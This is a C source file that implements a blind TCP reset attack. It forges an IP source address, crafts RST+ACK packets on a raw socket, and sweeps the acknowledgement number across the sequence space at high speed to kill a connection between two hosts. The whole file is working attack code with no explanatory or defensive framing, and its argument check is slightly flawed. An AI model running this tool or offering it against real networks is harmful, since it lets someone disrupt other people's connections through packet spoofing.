#include<stdio.h> #include<stdlib.h> #include<string.h> #include<errno.h> #include<netinet/tcp.h> #include<netinet/ip.h>
#define S_ADDR "10.0.1.1" #define D_ADDR "10.0.1.5"
unsigned short S_PORT = 0; unsigned short D_PORT = 0;
struct tcp_fake_header { unsigned long saddr; unsigned long daddr; char mbz; char proto; unsigned short header_len; };
static unsigned short inline checksum(unsigned short *buffer,int size){
unsigned long cksum = 0;
while(size>1){ cksum += *buffer++; size -= sizeof(unsigned short); }
if(size){ cksum += *(unsigned char *)buffer; }
cksum = (cksum >> 16) + (cksum & 0xffff); cksum += (cksum >> 16);
return((unsigned short )(~cksum)); }
unsigned int inline tcp_checksum(unsigned long saddr, unsigned long daddr, unsigned short *buffer, int size) { unsigned long sum = 0; char *buf; struct tcp_fake_header *tfh; int tfh_len = sizeof(struct tcp_fake_header);
buf = (char *)malloc(tfh_len+size); tfh = (struct tcp_fake_header *)buf; memcpy(buf+tfh_len,buffer,size);
tfh->saddr = saddr; tfh->daddr = daddr; tfh->mbz = 0; tfh->proto = IPPROTO_TCP; tfh->header_len = htons(sizeof(struct tcphdr));
sum = checksum((unsigned short*)buf,tfh_len+size); free(buf);
return(sum); }
unsigned int inline ip_checksum(unsigned short *buffer,int size){ return(checksum(buffer,size*4)); }
int main (int argc, char *argv[]) {
if(argc < 2){ printf("usage %s sport dport\n",argv[0]); return -1; }
S_PORT = (unsigned short)atoi(argv[1]); D_PORT = (unsigned short)atoi(argv[2]);
//Create a raw socket
int s = socket (PF_INET, SOCK_RAW, IPPROTO_TCP); if(s < 0){ printf("error on create socket %s\n",strerror(errno)); return -1; }
//Datagram to represent the packet
char datagram[4096]; //IP header
struct iphdr *iph = (struct iphdr *) datagram; //TCP header
struct tcphdr *tcph = (struct tcphdr *) (datagram + sizeof (struct iphdr)); struct sockaddr_in sin; unsigned long seqguess = 0; unsigned long seqstart = 0; unsigned long seqinc = 1023; /* size of send window */ unsigned long seqmax = 4294967295; unsigned long count = 0; unsigned long count2 = 0;
sin.sin_family = AF_INET; sin.sin_port = htons(S_PORT); sin.sin_addr.s_addr = inet_addr (S_ADDR);
memset (datagram, 0, 4096); /* zero out the buffer */
//Fill in the IP Header
iph->ihl = 5; iph->version = 4; iph->tos = 0; iph->tot_len = sizeof (struct iphdr) + sizeof (struct tcphdr); iph->id = htonl (54321); //Id of this packet
iph->frag_off = 0; iph->ttl = 64; iph->protocol = IPPROTO_TCP; iph->saddr = inet_addr (S_ADDR); iph->daddr = inet_addr(D_ADDR); iph->check = ip_checksum ((unsigned short *) datagram, iph->ihl);
//TCP Header tcph->source = htons (S_PORT); tcph->dest = htons (D_PORT); tcph->doff = 5; /* first and only tcp segment */ tcph->fin=0; tcph->syn=0; tcph->rst=1; /* set rst flag */ tcph->psh=0; tcph->ack=1; /* and ack flag */ tcph->urg=0; tcph->window = htons (5840); /* maximum allowed window size */ /* if you set a checksum to zero, your kernel's IP stack should fill in the correct checksum during transmission */
tcph->check = 0; tcph->urg_ptr = 0;
{ int one = 1; const int *val = &one; if (setsockopt (s, IPPROTO_IP, IP_HDRINCL, val, sizeof (one)) < 0) printf ("Warning: Cannot set HDRINCL!n"); }
printf("send packet from %x:%d to %x:%d\n", iph->saddr,S_PORT, iph->daddr, D_PORT);
for(seqguess = seqstart; seqguess < seqmax - seqinc; seqguess=seqguess+seqinc ) { count++; count2++; if(count2 == 8192){ count2 = 0; printf("Packets sent: %lu\tSequence guess: %lu\n", count, seqguess); } tcph->seq = random(); tcph->ack_seq = seqguess;
tcph->check = tcp_checksum( iph->saddr, iph->daddr, (unsigned short*)tcph, 0);
//Send the packet
if (sendto (s, /* our socket */ datagram, /* the buffer containing headers and data */ iph->tot_len, /* total length of our datagram */ 0, /* routing flags, normally always 0 */ (struct sockaddr *) &sin, /* socket addr, just like in */ sizeof (sin)) < 0){ /* a normal send() */
printf ("errorn %s\n",strerror(errno)); break; }
//Data send successfully
else { // printf("check sum of tcp %x,sizeof ip packer %d\n", tcph->check, iph->tot_len);
}
usleep(50); //sleep(5);
}
return 0;
}
|